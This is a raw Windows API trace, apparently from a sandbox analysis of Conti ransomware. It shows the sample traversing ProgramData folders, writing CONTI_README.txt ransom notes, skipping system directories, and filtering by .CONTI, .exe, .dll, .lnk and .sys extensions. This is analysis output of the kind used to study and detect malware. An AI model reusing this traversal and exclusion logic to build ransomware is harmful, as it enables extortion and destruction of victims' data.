	[0104.646] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.646] GetProcessHeap () returned 0x1720000
	[0104.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732cc0
	[0104.646] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"
	[0104.646] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.646] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.646] GetProcessHeap () returned 0x1720000
	[0104.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181c878
	[0104.646] lstrcpyW (in: lpString1=0x181c878, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\CONTI_README.txt"
	[0104.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0104.648] GetProcessHeap () returned 0x1720000
	[0104.648] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c878 | out: hHeap=0x1720000) returned 1
	[0104.648] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0104.649] CloseHandle (hObject=0x38c) returned 1
	[0104.649] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0104.649] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.649] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.650] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.650] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.650] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523798a0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523798a0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.650] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.650] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.650] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.650] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.650] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="en-US", cAlternateFileName="")) returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="tmp") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="winnt") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="Application Data") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="AppData") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="thumb") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="Boot") returned 1
	[0104.650] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0104.650] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.650] lstrlenW (lpString="en-US") returned 5
	[0104.650] GetProcessHeap () returned 0x1720000
	[0104.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb0) returned 0x17c7588
	[0104.650] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0104.650] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 87
	[0104.650] GetProcessHeap () returned 0x1720000
	[0104.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c61b0
	[0104.650] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0104.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*"
	[0104.650] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 87
	[0104.651] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.651] GetProcessHeap () returned 0x1720000
	[0104.651] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd2) returned 0x17c7180
	[0104.651] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0104.651] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\"
	[0104.651] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\CONTI_README.txt"
	[0104.651] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0104.651] GetProcessHeap () returned 0x1720000
	[0104.651] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0104.651] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.652] CloseHandle (hObject=0x3c8) returned 1
	[0104.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0104.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.652] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.652] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523798a0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523798a0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523798a0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.652] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.652] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.652] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.652] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.652] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0104.652] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0104.653] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".exe") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".dll") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".lnk") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".sys") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0104.653] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0104.653] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 87
	[0104.653] lstrlenW (lpString="resource.xml") returned 12
	[0104.653] GetProcessHeap () returned 0x1720000
	[0104.653] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173baf8
	[0104.653] lstrcpyW (in: lpString1=0x173baf8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0104.653] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\"
	[0104.653] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpString2="resource.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml"
	[0104.653] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0104.653] GetProcessHeap () returned 0x1720000
	[0104.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0104.653] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0104.653] GetProcessHeap () returned 0x1720000
	[0104.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0104.653] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0104.653] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0104.653] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".CONTI") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".exe") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".dll") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".lnk") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".sys") returned 0x0
	[0104.653] StrStrIW (lpFirst="folder.ico", lpSrch=".CONTI") returned 0x0
	[0104.654] StrStrIW (lpFirst="folder.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.654] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.654] lstrlenW (lpString="folder.ico") returned 10
	[0104.654] GetProcessHeap () returned 0x1720000
	[0104.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cc0c0
	[0104.654] lstrcpyW (in: lpString1=0x17cc0c0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="folder.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"
	[0104.654] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
	[0104.654] lstrcmpiW (lpString1="print_pref.ico", lpString2=".") returned 1
	[0104.654] lstrcmpiW (lpString1="print_pref.ico", lpString2="..") returned 1
	[0104.654] StrStrIW (lpFirst="print_pref.ico", lpSrch=".CONTI") returned 0x0
	[0104.654] StrStrIW (lpFirst="print_pref.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.654] StrStrIW (lpFirst="print_pref.ico", lpSrch=".exe") returned 0x0
	[0104.655] StrStrIW (lpFirst="print_pref.ico", lpSrch=".dll") returned 0x0
	[0104.655] StrStrIW (lpFirst="print_pref.ico", lpSrch=".lnk") returned 0x0
	[0104.655] StrStrIW (lpFirst="print_pref.ico", lpSrch=".sys") returned 0x0
	[0104.655] StrStrIW (lpFirst="print_pref.ico", lpSrch=".CONTI") returned 0x0
	[0104.655] StrStrIW (lpFirst="print_pref.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.655] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.655] lstrlenW (lpString="print_pref.ico") returned 14
	[0104.655] GetProcessHeap () returned 0x1720000
	[0104.655] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d098
	[0104.655] lstrcpyW (in: lpString1=0x181d098, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_pref.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"
	[0104.657] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="print_property.ico", cAlternateFileName="")) returned 1
	[0104.657] lstrcmpiW (lpString1="print_property.ico", lpString2=".") returned 1
	[0104.657] lstrcmpiW (lpString1="print_property.ico", lpString2="..") returned 1
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".CONTI") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".exe") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".dll") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".lnk") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".sys") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch=".CONTI") returned 0x0
	[0104.657] StrStrIW (lpFirst="print_property.ico", lpSrch="CONTI_README.txt") returned 0x0
